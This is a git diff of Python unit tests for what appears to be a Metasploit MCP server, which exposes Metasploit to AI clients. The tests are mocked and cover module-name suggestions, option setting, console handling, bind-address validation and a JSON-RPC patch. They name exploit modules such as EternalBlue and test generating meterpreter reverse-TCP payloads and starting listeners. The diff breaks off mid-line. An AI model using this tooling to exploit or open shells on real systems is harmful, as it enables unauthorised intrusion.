+ "windows/smb/ms17_010_eternalblue", + "windows/smb/ms08_067_netapi", + "linux/http/apache_mod_cgi_bash_env_exec", + "multi/http/apache_normalize_path_rce", ] - + # Search for "eternalblue" - should find the matching module - suggestions = await _find_similar_modules('exploit', 'windows/smb/eternalblue') - + suggestions = await _find_similar_modules("exploit", "windows/smb/eternalblue") + assert len(suggestions) > 0 - assert any('eternalblue' in s for s in suggestions) + assert any("eternalblue" in s for s in suggestions) @pytest.mark.asyncio async def test_find_similar_modules_payload(self, mock_client): """Test finding similar payload modules.""" # Mock available payloads mock_client.modules.payloads = [ - 'linux/x64/meterpreter/reverse_tcp', - 'linux/x64/meterpreter_reverse_tcp', - 'windows/x64/meterpreter/reverse_tcp', - 'windows/meterpreter/reverse_https', - 'python/meterpreter/reverse_tcp', + "linux/x64/meterpreter/reverse_tcp", + "linux/x64/meterpreter_reverse_tcp", + "windows/x64/meterpreter/reverse_tcp", + "windows/meterpreter/reverse_https", + "python/meterpreter/reverse_tcp", ] - + # Search for "meterpreter reverse_tcp" - should find matching modules - suggestions = await _find_similar_modules('payload', 'unix/meterpreter/reverse_tcp') - + suggestions = await _find_similar_modules("payload", "unix/meterpreter/reverse_tcp") + assert len(suggestions) > 0 # Should find meterpreter payloads - assert any('meterpreter' in s for s in suggestions) + assert any("meterpreter" in s for s in suggestions) @pytest.mark.asyncio async def test_find_similar_modules_auxiliary(self, mock_client): """Test finding similar auxiliary modules.""" # Mock available auxiliary modules mock_client.modules.auxiliary = [ - 'scanner/http/dir_scanner', - 'scanner/http/http_version', - 'scanner/http/robots_txt', - 'scanner/portscan/tcp', - 'scanner/smb/smb_version', + "scanner/http/dir_scanner", + "scanner/http/http_version", + "scanner/http/robots_txt", + "scanner/portscan/tcp", + "scanner/smb/smb_version", ] - + # Search for "nikto" (doesn't exist) but has "http" - should find http scanners - suggestions = await _find_similar_modules('auxiliary', 'scanner/http/nikto') - + suggestions = await _find_similar_modules("auxiliary", "scanner/http/nikto") + # May or may not find matches depending on term extraction # But should not raise an exception assert isinstance(suggestions, list) @@ -317,28 +329,29 @@ async def test_find_similar_modules_auxiliary(self, mock_client): async def test_find_similar_modules_no_matches(self, mock_client): """Test when no similar modules are found.""" mock_client.modules.exploits = [ - 'windows/smb/ms17_010_eternalblue', + "windows/smb/ms17_010_eternalblue", ] - + # Search for something completely unrelated - suggestions = await _find_similar_modules('exploit', 'totally/unrelated/xyz123') - + suggestions = await _find_similar_modules("exploit", "totally/unrelated/xyz123") + # Should return empty list, not raise exception assert suggestions == [] @pytest.mark.asyncio async def test_find_similar_modules_timeout(self, mock_client): """Test that timeout is handled gracefully.""" + # Make the module list call hang async def slow_call(): await asyncio.sleep(10) return [] - + mock_client.modules.exploits = [] - - with patch('asyncio.wait_for', side_effect=asyncio.TimeoutError()): - suggestions = await _find_similar_modules('exploit', 'some/module') - + + with patch("asyncio.wait_for", side_effect=asyncio.TimeoutError()): + suggestions = await _find_similar_modules("exploit", "some/module") + # Should return empty list on timeout assert suggestions == [] @@ -350,49 +363,49 @@ class TestSetModuleOptions: def mock_module(self): """Fixture providing a mock module object.""" module = Mock() - module.fullname = 'exploit/test/module' + module.fullname = "exploit/test/module" module.__setitem__ = Mock() return module @pytest.mark.asyncio async def test_set_module_options_basic(self, mock_module): """Test basic option setting.""" - options = {'RHOSTS': '192.168.1.1', 'RPORT': '80'} + options = {"RHOSTS": "192.168.1.1", "RPORT": "80"} await _set_module_options(mock_module, options) # Should be called twice, once for each option assert mock_module.__setitem__.call_count == 2 - mock_module.__setitem__.assert_any_call('RHOSTS', '192.168.1.1') - mock_module.__setitem__.assert_any_call('RPORT', 80) # Type conversion: '80' -> 80 + mock_module.__setitem__.assert_any_call("RHOSTS", "192.168.1.1") + mock_module.__setitem__.assert_any_call("RPORT", 80) # Type conversion: '80' -> 80 @pytest.mark.asyncio async def test_set_module_options_type_conversion(self, mock_module): """Test option setting with type conversion.""" options = { - 'RPORT': '80', # String number -> int - 'SSL': 'true', # String boolean -> bool - 'VERBOSE': 'false', # String boolean -> bool - 'THREADS': '10' # String number -> int + "RPORT": "80", # String number -> int + "SSL": "true", # String boolean -> bool + "VERBOSE": "false", # String boolean -> bool + "THREADS": "10", # String number -> int } - + await _set_module_options(mock_module, options) - + # Verify type conversions calls = mock_module.__setitem__.call_args_list call_dict = {call[0][0]: call[0][1] for call in calls} - - assert call_dict['RPORT'] == 80 - assert call_dict['SSL'] is True - assert call_dict['VERBOSE'] is False - assert call_dict['THREADS'] == 10 + + assert call_dict["RPORT"] == 80 + assert call_dict["SSL"] is True + assert call_dict["VERBOSE"] is False + assert call_dict["THREADS"] == 10 @pytest.mark.asyncio async def test_set_module_options_error(self, mock_module): """Test option setting with error.""" mock_module.__setitem__.side_effect = KeyError("Invalid option") - options = {'INVALID_OPT': 'value'} - + options = {"INVALID_OPT": "value"} + with pytest.raises(ValueError, match="Failed to set option"): await _set_module_options(mock_module, options) @@ -404,41 +417,41 @@ class TestGetMsfConsole: def mock_client(self): """Fixture providing a mock MSF client.""" client = Mock() - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): yield client @pytest.mark.asyncio async def test_get_msf_console_success(self, mock_client): """Test successful console creation and cleanup.""" - mock_console = MockMsfConsole('test-console-123') + mock_console = MockMsfConsole("test-console-123") mock_client.consoles.console.return_value = mock_console - mock_client.consoles.destroy.return_value = 'destroyed' + mock_client.consoles.destroy.return_value = "destroyed" # Mock the global client instance for cleanup - with patch('metasploit_mcp.server._msf_client_instance', mock_client): + with patch("metasploit_mcp.server._msf_client_instance", mock_client): async with get_msf_console() as console: assert console is mock_console - assert console.cid == 'test-console-123' + assert console.cid == "test-console-123" # Verify cleanup was called - mock_client.consoles.destroy.assert_called_once_with('test-console-123') + mock_client.consoles.destroy.assert_called_once_with("test-console-123") @pytest.mark.asyncio async def test_get_msf_console_creation_error(self, mock_client): """Test console creation error handling.""" mock_client.consoles.console.side_effect = MockMsfRpcError("Console creation failed") - + with pytest.raises(MockMsfRpcError, match="Console creation failed"): async with get_msf_console() as console: pass - @pytest.mark.asyncio + @pytest.mark.asyncio async def test_get_msf_console_cleanup_error(self, mock_client): """Test that cleanup errors don't propagate.""" - mock_console = MockMsfConsole('test-console-123') + mock_console = MockMsfConsole("test-console-123") mock_client.consoles.console.return_value = mock_console mock_client.consoles.destroy.side_effect = Exception("Cleanup failed") - + # Should not raise exception even if cleanup fails async with get_msf_console() as console: assert console is mock_console @@ -460,24 +473,24 @@ async def test_run_command_safely_basic(self, mock_console): """Test basic command execution.""" # Mock console read to return prompt immediately mock_console.read.return_value = { - 'data': 'command output\n', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "command output\n", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - - result = await run_command_safely(mock_console, 'help') - - mock_console.write.assert_called_once_with('help\n') - assert 'command output' in result + + result = await run_command_safely(mock_console, "help") + + mock_console.write.assert_called_once_with("help\n") + assert "command output" in result @pytest.mark.asyncio async def test_run_command_safely_invalid_console(self, mock_console): """Test command execution with invalid console.""" # Remove required methods - delattr(mock_console, 'write') - + delattr(mock_console, "write") + with pytest.raises(TypeError, match="Unsupported console object"): - await run_command_safely(mock_console, 'help') + await run_command_safely(mock_console, "help") @pytest.mark.asyncio async def test_run_command_safely_read_error(self, mock_console): @@ -485,8 +498,8 @@ async def test_run_command_safely_read_error(self, mock_console): mock_console.read.side_effect = Exception("Read failed") # Should not raise exception, but timeout and return timeout error message - result = await run_command_safely(mock_console, 'help') - + result = await run_command_safely(mock_console, "help") + # Should return timeout error message after timeout assert isinstance(result, str) assert "TIMEOUT_ERROR" in result or "timeout" in result.lower() # Timeout error message @@ -496,49 +509,40 @@ async def test_run_command_safely_with_exit_terms(self, mock_console): """Test run_command_safely with exit_terms_regexes parameter.""" # Simulate console that returns vulnerability message then goes idle read_calls = 0 + def mock_read_side_effect(): nonlocal read_calls read_calls += 1 if read_calls == 1: - return { - 'data': 'The target appears vulnerable\n', - 'prompt': '', - 'busy': False - } + return {"data": "The target appears vulnerable\n", "prompt": "", "busy": False} elif read_calls <= 5: # Simulate idle period (no new data) - return { - 'data': '', - 'prompt': '', - 'busy': False - } + return {"data": "", "prompt": "", "busy": False} else: # Return prompt after idle period return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - + mock_console.read.side_effect = mock_read_side_effect - + # Test with exit terms result = await run_command_safely( - mock_console, - 'check', - exit_terms_regexes=[IS_VULNERABLE_RE] + mock_console, "check", exit_terms_regexes=[IS_VULNERABLE_RE] ) - + # Should return output containing vulnerability message - assert 'appears vulnerable' in result.lower() + assert "appears vulnerable" in result.lower() # Should exit early (not wait for full timeout) - idle timeout is 2s, check interval is 0.1s assert read_calls <= 25 # Should exit early after idle period @pytest.mark.asyncio async def test_run_command_safely_set_command_skips_wait(self, mock_console): """Test that 'set' commands skip output wait.""" - result = await run_command_safely(mock_console, 'set RHOSTS 192.168.1.1') - + result = await run_command_safely(mock_console, "set RHOSTS 192.168.1.1") + # Should return empty string immediately assert result == "" # Should not call read @@ -547,8 +551,8 @@ async def test_run_command_safely_set_command_skips_wait(self, mock_console): @pytest.mark.asyncio async def test_run_command_safely_use_command_skips_wait(self, mock_console): """Test that 'use' commands skip output wait.""" - result = await run_command_safely(mock_console, 'use exploit/test/module') - + result = await run_command_safely(mock_console, "use exploit/test/module") + # Should return empty string immediately assert result == "" # Should not call read @@ -565,26 +569,26 @@ def test_find_available_port_success(self): assert isinstance(port, int) assert 8080 <= port < 8085 - @patch('socket.socket') + @patch("socket.socket") def test_find_available_port_all_busy(self, mock_socket_class): """Test when all ports in range are busy.""" mock_socket = Mock() mock_socket_class.return_value.__enter__.return_value = mock_socket mock_socket.bind.side_effect = OSError("Port in use") - + # Should return the start port as fallback port = find_available_port(8080, max_attempts=3) assert port == 8080 - @patch('socket.socket') + @patch("socket.socket") def test_find_available_port_second_attempt(self, mock_socket_class): """Test finding port on second attempt.""" mock_socket = Mock() mock_socket_class.return_value.__enter__.return_value = mock_socket - + # First call fails, second succeeds mock_socket.bind.side_effect = [OSError("Port in use"), None] - + port = find_available_port(8080, max_attempts=3) assert port == 8081 diff --git a/tests/test_ip_validation.py b/tests/test_ip_validation.py index a2836c0..d6a2037 100644 --- a/tests/test_ip_validation.py +++ b/tests/test_ip_validation.py @@ -10,33 +10,36 @@ from typing import Dict, Any, List # Add the parent directory to the path to import metasploit_mcp.server as MetasploitMCP -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) # Mock the dependencies that aren't available in test environment -sys.modules['uvicorn'] = Mock() -sys.modules['fastapi'] = Mock() -sys.modules['starlette.applications'] = Mock() -sys.modules['starlette.routing'] = Mock() +sys.modules["uvicorn"] = Mock() +sys.modules["fastapi"] = Mock() +sys.modules["starlette.applications"] = Mock() +sys.modules["starlette.routing"] = Mock() + # Create a special mock for FastMCP that preserves the tool decorator behavior class MockFastMCP: def __init__(self, *args, **kwargs): pass - + def tool(self): # Return a decorator that just returns the original function def decorator(func): return func + return decorator + # Mock the MCP modules with our custom FastMCP mcp_server_fastmcp = Mock() mcp_server_fastmcp.FastMCP = MockFastMCP -sys.modules['mcp.server.fastmcp'] = mcp_server_fastmcp -sys.modules['mcp.server.sse'] = Mock() +sys.modules["mcp.server.fastmcp"] = mcp_server_fastmcp +sys.modules["mcp.server.sse"] = Mock() # Mock pymetasploit3 module -sys.modules['pymetasploit3.msfrpc'] = Mock() +sys.modules["pymetasploit3.msfrpc"] = Mock() # Import the module after mocking dependencies import metasploit_mcp.server as MetasploitMCP @@ -45,59 +48,67 @@ def decorator(func): class TestGetLocalIpAddresses: """Test the get_local_ip_addresses function.""" - + def test_get_local_ip_addresses_basic(self): """Test that get_local_ip_addresses returns a list of IP addresses.""" - with patch('socket.gethostname', return_value='test-host'): - with patch('socket.getaddrinfo', return_value=[ - (2, 1, 6, '', ('192.168.1.100', 0)), - (2, 1, 6, '', ('127.0.0.1', 0)) - ]): - with patch('socket.socket') as mock_socket: + with patch("socket.gethostname", return_value="test-host"): + with patch( + "socket.getaddrinfo", + return_value=[(2, 1, 6, "", ("192.168.1.100", 0)), (2, 1, 6, "", ("127.0.0.1", 0))], + ): + with patch("socket.socket") as mock_socket: # Mock the socket connection for discovering routable IPs mock_sock = Mock() - mock_sock.getsockname.return_value = ('10.0.0.1', 12345) + mock_sock.getsockname.return_value = ("10.0.0.1", 12345) mock_socket.return_value.__enter__.return_value = mock_sock - + result = get_local_ip_addresses() - + assert isinstance(result, list) assert len(result) > 0 - assert '127.0.0.1' in result # Loopback should always be included - assert '::1' in result # IPv6 loopback should always be included + assert "127.0.0.1" in result # Loopback should always be included + assert "::1" in result # IPv6 loopback should always be included def test_get_local_ip_addresses_fallback(self): """Test fallback behavior when IP discovery fails.""" - with patch('socket.gethostname', side_effect=Exception("Network error")): + with patch("socket.gethostname", side_effect=Exception("Network error")): result = get_local_ip_addresses() - + assert isinstance(result, list) - assert '127.0.0.1' in result - assert '::1' in result + assert "127.0.0.1" in result + assert "::1" in result def test_get_local_ip_addresses_deduplication(self): """Test that duplicate IP addresses are removed.""" - with patch('socket.gethostname', return_value='test-host'): - with patch('socket.getaddrinfo', return_value=[ - (2, 1, 6, '', ('192.168.1.100', 0)), - (2, 1, 6, '', ('192.168.1.100', 0)), # Duplicate - (2, 1, 6, '', ('127.0.0.1', 0)) - ]): - with patch('socket.socket') as mock_socket: + with patch("socket.gethostname", return_value="test-host"): + with patch( + "socket.getaddrinfo", + return_value=[ + (2, 1, 6, "", ("192.168.1.100", 0)), + (2, 1, 6, "", ("192.168.1.100", 0)), # Duplicate + (2, 1, 6, "", ("127.0.0.1", 0)), + ], + ): + with patch("socket.socket") as mock_socket: mock_sock = Mock() - mock_sock.getsockname.return_value = ('192.168.1.100', 12345) # Same as getaddrinfo + mock_sock.getsockname.return_value = ( + "192.168.1.100", + 12345, + ) # Same as getaddrinfo mock_socket.return_value.__enter__.return_value = mock_sock - + result = get_local_ip_addresses() - + # Count occurrences of the IP - count_192_168_1_100 = result.count('192.168.1.100') - assert count_192_168_1_100 == 1, f"Expected 1 occurrence of 192.168.1.100, got {count_192_168_1_100}" + count_192_168_1_100 = result.count("192.168.1.100") + assert ( + count_192_168_1_100 == 1 + ), f"Expected 1 occurrence of 192.168.1.100, got {count_192_168_1_100}" class TestValidateBindAddress: """Test the validate_bind_address function.""" - + @pytest.mark.asyncio async def test_validate_wildcard_ipv4(self): """Test validation of IPv4 wildcard address.""" @@ -129,7 +140,10 @@ async def test_validate_invalid_format(self): @pytest.mark.asyncio async def test_validate_local_address(self): """Test validation of local IP address.""" - with patch('metasploit_mcp.server.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100', '::1']): + with patch( + "metasploit_mcp.server.get_local_ip_addresses", + return_value=["127.0.0.1", "192.168.1.100", "::1"], + ): is_valid, error_msg = await validate_bind_address("192.168.1.100") assert is_valid is True assert error_msg == "" @@ -137,7 +151,10 @@ async def test_validate_local_address(self): @pytest.mark.asyncio async def test_validate_non_local_address(self): """Test validation of non-local IP address.""" - with patch('metasploit_mcp.server.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100', '::1']): + with patch( + "metasploit_mcp.server.get_local_ip_addresses", + return_value=["127.0.0.1", "192.168.1.100", "::1"], + ): is_valid, error_msg = await validate_bind_address("8.8.8.8") assert is_valid is False assert "not configured on this machine" in error_msg @@ -146,12 +163,14 @@ async def test_validate_non_local_address(self): @pytest.mark.asyncio async def test_validate_loopback_addresses(self): """Test validation of loopback addresses.""" - with patch('metasploit_mcp.server.get_local_ip_addresses', return_value=['127.0.0.1', '::1']): + with patch( + "metasploit_mcp.server.get_local_ip_addresses", return_value=["127.0.0.1", "::1"] + ): # IPv4 loopback is_valid, error_msg = await validate_bind_address("127.0.0.1") assert is_valid is True assert error_msg == "" - + # IPv6 loopback is_valid, error_msg = await validate_bind_address("::1") assert is_valid is True @@ -160,14 +179,14 @@ async def test_validate_loopback_addresses(self): class TestBindAddressIntegration: """Test bind address validation integration with start_listener and generate_payload.""" - + @pytest.fixture def mock_environment(self, mock_asyncio_to_thread): """Fixture providing mocked environment for testing.""" - with patch('metasploit_mcp.server.get_msf_client'): - with patch('metasploit_mcp.server._execute_module_rpc') as mock_rpc: - with patch('metasploit_mcp.server._get_module_object') as mock_get_module: - with patch('metasploit_mcp.server._set_module_options') as mock_set_options: + with patch("metasploit_mcp.server.get_msf_client"): + with patch("metasploit_mcp.server._execute_module_rpc") as mock_rpc: + with patch("metasploit_mcp.server._get_module_object") as mock_get_module: + with patch("metasploit_mcp.server._set_module_options") as mock_set_options: mock_rpc.return_value = {"status": "success", "job_id": "1234"} mock_module = Mock() mock_module.runoptions = {} @@ -179,30 +198,36 @@ def mock_environment(self, mock_asyncio_to_thread): async def test_start_listener_valid_bind_address(self, mock_environment): """Test start_listener with valid bind address.""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - - with patch('metasploit_mcp.server.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100']): + + with patch( + "metasploit_mcp.server.get_local_ip_addresses", + return_value=["127.0.0.1", "192.168.1.100"], + ): result = await MetasploitMCP.start_listener( payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - reverselistenerbindaddress="127.0.0.1" + reverselistenerbindaddress="127.0.0.1", ) - + assert result["status"] == "success" @pytest.mark.asyncio async def test_start_listener_invalid_bind_address(self, mock_environment): """Test start_listener with invalid bind address.""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - - with patch('metasploit_mcp.server.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100']): + + with patch( + "metasploit_mcp.server.get_local_ip_addresses", + return_value=["127.0.0.1", "192.168.1.100"], + ): result = await MetasploitMCP.start_listener( payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - reverselistenerbindaddress="8.8.8.8" # Invalid - not local + reverselistenerbindaddress="8.8.8.8", # Invalid - not local ) - + assert result["status"] == "error" assert "Invalid ReverseListenerBindAddress" in result["message"] @@ -210,42 +235,42 @@ async def test_start_listener_invalid_bind_address(self, mock_environment): async def test_start_listener_wildcard_bind_address(self, mock_environment): """Test start_listener with wildcard bind address.""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - + result = await MetasploitMCP.start_listener( payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - reverselistenerbindaddress="0.0.0.0" # Wildcard should always be valid + reverselistenerbindaddress="0.0.0.0", # Wildcard should always be valid ) - + assert result["status"] == "success" @pytest.mark.asyncio async def test_start_listener_default_bind_address(self, mock_environment): """Test start_listener with default bind address (should be 0.0.0.0).""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - + result = await MetasploitMCP.start_listener( payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", - lport=4444 + lport=4444, # No reverse_listener_bind_address provided - should default to 0.0.0.0 ) - + assert result["status"] == "success" @pytest.mark.asyncio async def test_start_listener_invalid_bind_port(self, mock_environment): """Test start_listener with invalid bind port.""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - + result = await MetasploitMCP.start_listener( payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - reverselistenerbindport=99999 # Invalid port + reverselistenerbindport=99999, # Invalid port ) - + assert result["status"] == "error" assert "Invalid ReverseListenerBindPort" in result["message"] @@ -253,35 +278,41 @@ async def test_start_listener_invalid_bind_port(self, mock_environment): async def test_generate_payload_valid_bind_address(self, mock_environment): """Test generate_payload with valid bind address.""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - - with patch('metasploit_mcp.server.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100']): - with patch('metasploit_mcp.server.PAYLOAD_SAVE_DIR', '/tmp/test'): - with patch('os.makedirs'): - with patch('builtins.open', create=True) as mock_open: + + with patch( + "metasploit_mcp.server.get_local_ip_addresses", + return_value=["127.0.0.1", "192.168.1.100"], + ): + with patch("metasploit_mcp.server.PAYLOAD_SAVE_DIR", "/tmp/test"): + with patch("os.makedirs"): + with patch("builtins.open", create=True) as mock_open: mock_open.return_value.__enter__.return_value.write = Mock() - + result = await MetasploitMCP.generate_payload( payload="windows/meterpreter/reverse_tcp", format="exe", options={"LHOST": "192.168.1.100", "LPORT": 4444}, - reverselistenerbindaddress="127.0.0.1" + reverselistenerbindaddress="127.0.0.1", ) - + assert result["status"] == "success" @pytest.mark.asyncio async def test_generate_payload_invalid_bind_address(self, mock_environment): """Test generate_payload with invalid bind address.""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - - with patch('metasploit_mcp.server.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100']): + + with patch( + "metasploit_mcp.server.get_local_ip_addresses", + return_value=["127.0.0.1", "192.168.1.100"], + ): result = await MetasploitMCP.generate_payload( payload="windows/meterpreter/reverse_tcp", format="exe", options={"LHOST": "192.168.1.100", "LPORT": 4444}, - reverselistenerbindaddress="8.8.8.8" # Invalid - not local + reverselistenerbindaddress="8.8.8.8", # Invalid - not local ) - + assert result["status"] == "error" assert "Invalid ReverseListenerBindAddress" in result["message"] @@ -289,33 +320,33 @@ async def test_generate_payload_invalid_bind_address(self, mock_environment): async def test_generate_payload_default_bind_address(self, mock_environment): """Test generate_payload with default bind address (should be 0.0.0.0).""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - - with patch('metasploit_mcp.server.PAYLOAD_SAVE_DIR', '/tmp/test'): - with patch('os.makedirs'): - with patch('builtins.open', create=True) as mock_open: + + with patch("metasploit_mcp.server.PAYLOAD_SAVE_DIR", "/tmp/test"): + with patch("os.makedirs"): + with patch("builtins.open", create=True) as mock_open: mock_open.return_value.__enter__.return_value.write = Mock() - + result = await MetasploitMCP.generate_payload( payload="windows/meterpreter/reverse_tcp", format="exe", - options={"LHOST": "192.168.1.100", "LPORT": 4444} + options={"LHOST": "192.168.1.100", "LPORT": 4444}, # No reverse_listener_bind_address provided - should default to 0.0.0.0 ) - + assert result["status"] == "success" @pytest.mark.asyncio async def test_generate_payload_invalid_bind_port(self, mock_environment): """Test generate_payload with invalid bind port.""" mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment - + result = await MetasploitMCP.generate_payload( payload="windows/meterpreter/reverse_tcp", format="exe", options={"LHOST": "192.168.1.100", "LPORT": 4444}, - reverselistenerbindport=99999 # Invalid port + reverselistenerbindport=99999, # Invalid port ) - + assert result["status"] == "error" assert "Invalid ReverseListenerBindPort" in result["message"] diff --git a/tests/test_jsonrpc_patch.py b/tests/test_jsonrpc_patch.py index b169df4..39408bd 100644 --- a/tests/test_jsonrpc_patch.py +++ b/tests/test_jsonrpc_patch.py @@ -1,330 +1,222 @@ #!/usr/bin/env python3 """ -Tests for pymetasploit3 JSON-RPC monkeypatch. - -Tests cover: -- Protocol detection from environment variable -- JSON-RPC encoding/decoding -- Header setting -- Integration with MsfRpcClient -- Backward compatibility (msgpack) +Tests for the pymetasploit3 JSON-RPC monkeypatch (metasploit_mcp.jsonrpc_patch). + +The patch adds optional JSON-RPC 2.0 support to pymetasploit3 (selected via the +MSF_RPC_PROTOCOL env var). These tests exercise the current implementation: + +- ``_jsonrpc_encode`` wraps ``[method, *params]`` in a JSON-RPC 2.0 envelope. +- ``_jsonrpc_decode`` unwraps the ``result`` field (or raises on ``error``). +- ``_patched_encode`` / ``_patched_decode`` dispatch on the module-level + ``_USE_JSONRPC`` flag (JSON-RPC vs. msgpack). +- ``_patched_post_request`` / ``_patched_init`` set protocol-appropriate headers. +- ``apply_patch(utils_module, msfrpc_module)`` installs the patched callables + onto the supplied modules, and is a no-op when JSON-RPC is disabled. + +The protocol flag is captured at import time, so instead of reloading the module +(fragile) we toggle the module-level globals directly within each test. """ -import pytest -import os import json -import sys -from unittest.mock import Mock, patch, MagicMock -from typing import Any, Dict - -# Add parent directory to path -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) - - -class TestJSONRPCPatch: - """Test JSON-RPC monkeypatch functionality.""" - - def setup_method(self): - """Set up test fixtures.""" - # Clear any existing patches - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - # Mock pymetasploit3 modules before importing patch - sys.modules['pymetasploit3'] = Mock() - sys.modules['pymetasploit3.utils'] = Mock() - sys.modules['pymetasploit3.msfrpc'] = Mock() - - # Create mock encode/decode functions - import msgpack - self.original_encode = msgpack.packb - self.original_decode = lambda data: msgpack.unpackb(data, strict_map_key=False) - - sys.modules['pymetasploit3.utils'].encode = self.original_encode - sys.modules['pymetasploit3.utils'].decode = self.original_decode - - # Create mock MsfRpcClient class - class MockMsfRpcClient: - def __init__(self, password, **kwargs): - self.password = password - self.host = kwargs.get('server', '127.0.0.1') - self.port = kwargs.get('port', 55553) - self.uri = kwargs.get('uri', '/api/') - self.ssl = kwargs.get('ssl', False) - self.token = None - self.encodings = kwargs.get('encodings', ['utf-8']) - self.decode_error_handling = kwargs.get('decode_error_handling', 'strict') - self.headers = {"Content-type": "binary/message-pack"} - - def post_request(self, url, payload): - import requests - return requests.post(url, data=payload, headers=self.headers, verify=False) - - sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient - - def teardown_method(self): - """Clean up after tests.""" - # Remove patch module from cache - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - patch_module = sys.modules['pymetasploit3_jsonrpc_patch'] - if hasattr(patch_module, 'remove_patch'): - patch_module.remove_patch() - del sys.modules['pymetasploit3_jsonrpc_patch'] - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'jsonrpc'}, clear=False) +import contextlib + +import pytest + +from metasploit_mcp import jsonrpc_patch + + +@contextlib.contextmanager +def _use_jsonrpc(enabled: bool): + """Temporarily force the module-level JSON-RPC flag on/off.""" + prev_use = jsonrpc_patch._USE_JSONRPC + prev_proto = jsonrpc_patch._RPC_PROTOCOL + jsonrpc_patch._USE_JSONRPC = enabled + jsonrpc_patch._RPC_PROTOCOL = "jsonrpc" if enabled else "msgpack" + try: + yield + finally: + jsonrpc_patch._USE_JSONRPC = prev_use + jsonrpc_patch._RPC_PROTOCOL = prev_proto + + +class TestProtocolHelpers: def test_protocol_detection_jsonrpc(self): - """Test that JSON-RPC protocol is detected from environment variable.""" - # Reload module to pick up environment variable - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - assert pymetasploit3_jsonrpc_patch._is_jsonrpc_enabled() is True - assert pymetasploit3_jsonrpc_patch._get_protocol() == 'jsonrpc' - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'msgpack'}, clear=False) + with _use_jsonrpc(True): + assert jsonrpc_patch._is_jsonrpc_enabled() is True + assert jsonrpc_patch._get_protocol() == "jsonrpc" + def test_protocol_detection_msgpack(self): - """Test that msgpack protocol is detected from environment variable.""" - # Reload module to pick up environment variable - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - assert pymetasploit3_jsonrpc_patch._is_jsonrpc_enabled() is False - assert pymetasploit3_jsonrpc_patch._get_protocol() == 'msgpack' - - @patch.dict(os.environ, {}, clear=False) - def test_protocol_detection_default(self): - """Test that msgpack is default when environment variable is not set.""" - # Reload module to pick up environment variable - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - assert pymetasploit3_jsonrpc_patch._is_jsonrpc_enabled() is False - assert pymetasploit3_jsonrpc_patch._get_protocol() == 'msgpack' - - def test_jsonrpc_encode(self): - """Test JSON-RPC encoding function.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Test encoding a simple list (Metasploit RPC format) - data = ['auth.login', 'username', 'password'] - encoded = pymetasploit3_jsonrpc_patch._jsonrpc_encode(data) - + with _use_jsonrpc(False): + assert jsonrpc_patch._is_jsonrpc_enabled() is False + assert jsonrpc_patch._get_protocol() == "msgpack" + + +class TestJSONRPCEncode: + def test_encode_wraps_in_jsonrpc_envelope(self): + """[method, *params] -> JSON-RPC 2.0 request envelope.""" + encoded = jsonrpc_patch._jsonrpc_encode(["auth.login", "username", "password"]) assert isinstance(encoded, bytes) - decoded = json.loads(encoded.decode('utf-8')) - assert decoded == data - - def test_jsonrpc_decode(self): - """Test JSON-RPC decoding function.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Test decoding JSON response - data = {'result': 'success', 'token': 'test-token'} - json_bytes = json.dumps(data).encode('utf-8') - decoded = pymetasploit3_jsonrpc_patch._jsonrpc_decode(json_bytes) - - assert decoded == data - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'jsonrpc'}, clear=False) + + decoded = json.loads(encoded.decode("utf-8")) + assert decoded["jsonrpc"] == "2.0" + assert decoded["method"] == 